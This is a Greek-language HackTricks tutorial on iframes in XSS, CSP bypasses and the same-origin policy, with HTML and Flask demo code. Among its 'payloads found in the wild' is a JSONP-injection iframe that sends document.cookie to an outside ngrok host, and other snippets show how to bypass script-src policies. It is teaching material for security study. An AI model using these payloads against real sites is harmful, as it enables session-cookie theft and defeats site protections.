12 KiB
Iframes στο XSS, CSP και SOP
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
- Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε τη εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στη τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε με στο Twitter 🐦@carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο αποθετήριο hacktricks και αποθετήριο hacktricks-cloud.
Iframes στο XSS
Υπάρχουν 3 τρόποι για να υποδείξετε το περιεχόμενο μιας σελίδας που έχει ενσωματωθεί σε ένα iframe:
- Μέσω του
src
που υποδεικνύει μια διεύθυνση URL (η διεύθυνση URL μπορεί να είναι διαφορετικής προέλευσης ή ίδιας προέλευσης) - Μέσω του
src
που υποδεικνύει το περιεχόμενο χρησιμοποιώντας το πρωτόκολλοdata:
- Μέσω του
srcdoc
που υποδεικνύει το περιεχόμενο
Πρόσβαση σε μεταβλητές γονέα και παιδί
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
Εάν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως python3 -m http.server
), θα παρατηρήσετε ότι όλα τα scripts θα εκτελεστούν (καθώς δεν υπάρχει καμία CSP που να το αποτρέπει)., ο γονέας δεν θα μπορεί να αποκτήσει πρόσβαση στη μεταβλητή secret
μέσα σε οποιοδήποτε iframe και μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ίδιου site) μπορούν να αποκτήσουν πρόσβαση στο secret στο αρχικό παράθυρο.
Παρατηρήστε ότι το if4 θεωρείται να έχει προέλευση null
.
Iframes με CSP
{% hint style="info" %} Παρακαλώ, παρατηρήστε ότι στις παρακάτω παρακάμψεις η απάντηση στην ενσωματωμένη σελίδα δεν περιέχει κανέναν κεφαλίδα CSP που να αποτρέπει την εκτέλεση του JS. {% endhint %}
Η τιμή self
του script-src
δεν θα επιτρέψει την εκτέλεση του κώδικα JS χρησιμοποιώντας το πρωτόκολλο data:
ή το χαρακτηριστικό srcdoc
.
Ωστόσο, ακόμα και η τιμή none
του CSP θα επιτρέψει την εκτέλεση των iframes που τοποθετούν ένα URL (πλήρες ή μόνο το μονοπάτι) στο χαρακτηριστικό src
.
Επομένως, είναι δυνατό να παρακάμψετε το CSP μιας σελίδας με:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Παρατηρήστε πώς η προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script.
Ωστόσο, μόνο τα if1
και if2
scripts θα εκτελεστούν, αλλά μόνο το if1
θα έχει πρόσβαση στον γονικό κρυφό κώδικα.
Επομένως, είναι δυνατόν να παρακάμψετε μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμα και με script-src 'none'
. Αυτό μπορεί πιθανώς να γίνει και με κατάχρηση ενός same-site JSONP endpoint.
Μπορείτε να δοκιμάσετε αυτό με τον παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμα και με script-src 'none'
. Απλά εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση μέσω του προγράμματος περιήγησής σας:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Άλλα Payloads που βρέθηκαν στον άγριο
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Το περιεχόμενο μέσα σε ένα iframe μπορεί να υπόκειται σε επιπλέον περιορισμούς μέσω της χρήσης του χαρακτηριστικού sandbox
. Από προεπιλογή, αυτό το χαρακτηριστικό δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.
Όταν χρησιμοποιείται, το χαρακτηριστικό sandbox
επιβάλλει αρκετούς περιορισμούς:
- Το περιεχόμενο θεωρείται ότι προέρχεται από μια μοναδική πηγή.
- Οποιαδήποτε προσπάθεια υποβολής φορμών αποκλείεται.
- Η εκτέλεση σεναρίων απαγορεύεται.
- Η πρόσβαση σε ορισμένα APIs απενεργοποιείται.
- Αποτρέπεται η αλληλεπίδραση των συνδέσμων με άλλα περιβάλλοντα περιήγησης.
- Η χρήση προσθέτων μέσω των ετικετών
<embed>
,<object>
,<applet>
ή παρόμοιων δεν επιτρέπεται. - Αποτρέπεται η πλοήγηση του κύριου περιβάλλοντος περιήγησης του περιεχομένου από το ίδιο το περιεχόμενο.
- Αποκλείονται λειτουργίες που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση των ελέγχων φόρμας.
Η τιμή του χαρακτηριστικού μπορεί να αφεθεί κενή (sandbox=""
) για να εφαρμοστούν όλοι οι προαναφερθέντες περιορισμοί. Εναλλακτικά, μπορεί να οριστεί ως μια λίστα τιμών χωρισμένων με κενό που απαλλάσσει το iframe από ορισμένους περιορισμούς.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframes στο SOP
Ελέγξτε τις παρακάτω σελίδες:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
- Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε με στο Twitter 🐦@carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο αποθετήριο hacktricks και αποθετήριο hacktricks-cloud.